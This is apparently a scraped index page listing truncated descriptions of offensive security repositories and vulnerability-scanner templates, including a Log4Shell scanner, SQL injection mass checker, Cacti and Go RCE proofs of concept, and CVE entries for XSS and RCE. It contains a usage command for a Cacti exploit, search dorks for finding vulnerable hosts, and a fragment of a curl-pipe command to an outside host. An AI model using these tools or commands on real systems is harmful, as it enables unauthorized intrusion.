go-get-rce

このリポジトリには README がありません。...

sqlmc

SQLMC - SQL Injection 大規模チェッカー デモ 情報 このツールは教育目的のみに使用されます。事前の相互同意なしにSQLMCを使用してターゲットを攻撃することは違法です。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害について責任を負いません。 概要 SQLMC SQL Injection 大規模チェッカー は、ドメインのSQLインジェクション脆弱性をスキャンするために設計されたツールです。指定された深さまで指定されたURLをクロールし、各リンクのSQLインジェクション脆弱性をチェックして結果を報告します。 機能...

log4j-scan

1 使用方法 CVE-2021-44228 log4j 2.x RCE脆弱性検出ツール。対象URLにGETリクエストを送信し、dnslogを使用して応答の有無を確認します。 $ python3 log4j-scan.py -h Usage: python log4j-scan.py -u Options: -h, --help このヘルプメッセージを表示して終了 -u URL, --url=URL 検査対象のURLを入力（例: https://ainrm.cn） 2 実行画面 1. 内蔵の8つの公開ペイロードと18のリクエストヘッダーにより、合計144通りの組み合わせを実現 2...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7以前、Go 1.9.xの1.9.4以前、およびGo 1.10のプレリリース（Go 1.10rc2以前）では、go getがソースコードビルド中にリモートコマンド実行を許可します。これは、gccやclangのプラグイン機能を利用し、-fplugin=および-plugin=引数がブロックされていなかったためです。（mitreより） RCEコマンド コマンドは動的ライブラリcalcdarwin.soにコンパイルされています。現在のコマンドはcurl newton.cycarrier:8002 |...

KaliPackergeManager

KaliPackergeManager kalipm.shは、Kali Linux向けの強力なパッケージ管理ツールで、ユーザーフレンドリーなメニューベースのインターフェースを提供し、さまざまなパッケージやツールのインストールを簡素化します。ソフトウェア管理のプロセスを効率化し、ユーザーが異なるカテゴリから簡単にパッケージをインストールできるようにします。 特徴 インタラクティブメニュー: 直感的で使いやすいメニューベースのインターフェースで、簡単にパッケージを選択できます。 カテゴリ別パッケージ:...

Pummel

██████╗ ██╗ ██╗███╗ ███╗███╗ ███╗███████╗██╗ ██╔══██╗██║ ██║████╗ ████║████╗ ████║██╔════╝██║ ██████╔╝██║ ██║██╔████╔██║██╔████╔██║█████╗ ██║ ██╔═══╝ ██║ ██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██║ ██║ ╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝ 免責事項:...

get-pixels-updated

これは get-pixels の更新版であり、CVE-2020-8175 のセキュリティ問題を修正しています。作成時点では、package.json を除き、すべてのファイルは元のリポジトリと同じです。 get-pixels-updated 以下は get-pixels の GitHub ページからの引用です。前述の通り、このリポジトリには破壊的な変更はなく、元のリポジトリとほぼ同一です。 URLやパスを指定して画像の全ピクセルを取得し、結果を ndarray として返します。100% JavaScript で書かれており、browserify と node.js...

CVE-2024-29895-CactiRCE-PoC

Cacti RCE - CVE-2024-29895 使用方法: python3 cve-2024-29895.py -u https://target.com/ -c id Cacti バージョン1.3.XのDEVビルドで、cmdrealtime.phpが存在し、POLLERIDが有効な場合に影響を受けます。 このエンドポイントを介して、ペイロードをHTMLクエリパラメータとしてGETリクエストを送信することで、コマンドインジェクションが可能です。 Dork: Google: inurl:cmdrealtime.php Shodan: Cacti Hunter.how:...

CVE-2018-6574-go-get-RCE

このリポジトリには README がありません。...

Get-RBCD-Threaded

Get-RBCD-Threaded Active Directory環境でリソースベースの制約付き委任（Resource-Based Constrained Delegation）攻撃パスを発見するためのツール ほぼ完全に、Elad Shamirによる素晴らしいブログ記事「Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory」と、harmj0yによる「A Case Study in Wagging the Dog: Computer...

CVE-2023-23752

CVE-2023-23752 Joomla CVE-2023-23752 スキャナ用のシンプルなプログラムです。これは、対象のリストが Web アプリケーションの重大なセキュリティ脆弱性である CVE-2023-23752 に対して脆弱かどうかをチェックするシンプルな Ruby スクリプトです。このスクリプトは指定されたエンドポイントに HTTP GET リクエストを送信し、レスポンスから情報を抽出して対象が脆弱かどうかを判定します。 使用方法 ruby scanner.rb list.txt output.txt list.txt は、対象のドメインまたは IP...

CVE-2004-2271-MiniShare-1.4.1-BOF

CVE-2004-2271 - MiniShare 1.4.1 - BOF 参考文献 https://nvd.nist.gov/vuln/detail/CVE-2004-2271 脆弱性 MiniShare 1.4.1 は、受信した HTTP GET リクエストに対して境界チェックを行いません。 長く不正な形式の HTTP GET リクエストを送信することで、攻撃者はバッファオーバーフローを引き起こし、システム上で任意のコードを実行できます。 エクスプロイトノート EIP が上書きされた後、シェルコードに使用できるスペースは 210 バイトのみです。...

LG Supersign EZ CMS - Remote Code Execution

LG SuperSign CMS allows remote attackers to execute arbitrary code via the sourceUri parameter to qsrserver/device/getThumbnail. id: CVE-2018-17173 info: name: LG Supersign EZ CMS - Remote Code Execution author: pussycat0x severity: critical description: | LG SuperSign CMS allows remote attackers...

Reprise License Manager 14.2 - Information Disclosure

Reprise License Manager 14.2 is susceptible to information disclosure via a GET request to /goforms/rlminfo. No authentication is required. The information disclosed is associated with software versions, process IDs, network configuration, hostnames, system architecture and file/directory...

Emlog Pro v2.1.14 - Cross-Site Scripting

Cross Site Scripting XSS vulnerability in Emlog Pro v2.1.14 via /admin/store.php. id: CVE-2023-41621 info: name: Emlog Pro v2.1.14 - Cross-Site Scripting author: ritikchaddha severity: medium description: | Cross Site Scripting XSS vulnerability in Emlog Pro v2.1.14 via /admin/store.php. impact: ...

Drupal 11.x-dev - Full Path Disclosure

core/authorize.php in Drupal 11.x-dev allows Full Path Disclosure even when error logging is None if the value of hashsalt is filegetcontents of a file that does not exist. id: CVE-2024-45440 info: name: Drupal 11.x-dev - Full Path Disclosure author: DhiyaneshDK severity: medium description: |...

Flatpress < v1.2.1 - Cross Site Scripting

Flatpress v1.2.1 was discovered to contain a reflected cross-site scripting XSS vulnerability via the page parameter at /flatpress/admin.php. id: CVE-2022-40047 info: name: Flatpress v1.2.1 - Cross Site Scripting author: r3Y3r53 severity: medium description: | Flatpress v1.2.1 was discovered to...

SiYuan Note - Cross-Site Scripting

SiYuan Note through version 3.6.1 is vulnerable to unauthenticated reflected Cross-Site Scripting XSS in the /api/icon/getDynamicIcon endpoint due to improper filtering of SVG elements with a namespace prefix such as . By using a namespaced script element, attackers can bypass the SanitizeSVG...

ArgoCD Project API Token Repository Credentials Exposure

Argo CD API tokens with project-level permissions are able to retrieve sensitive repository credentials usernames, passwords through the project details API endpoint, even when the token only has standard application management permissions and no explicit access to secrets. This vulnerability...

Social Login by BestWebSoft < 0.2 - Cross-Site Scripting

The social-login-bws plugin before 0.2 for WordPress has multiple XSS issues. id: CVE-2017-18501 info: name: Social Login by BestWebSoft 0.2 - Cross-Site Scripting author: luisfelipe146 severity: medium description: | The social-login-bws plugin before 0.2 for WordPress has multiple XSS issues...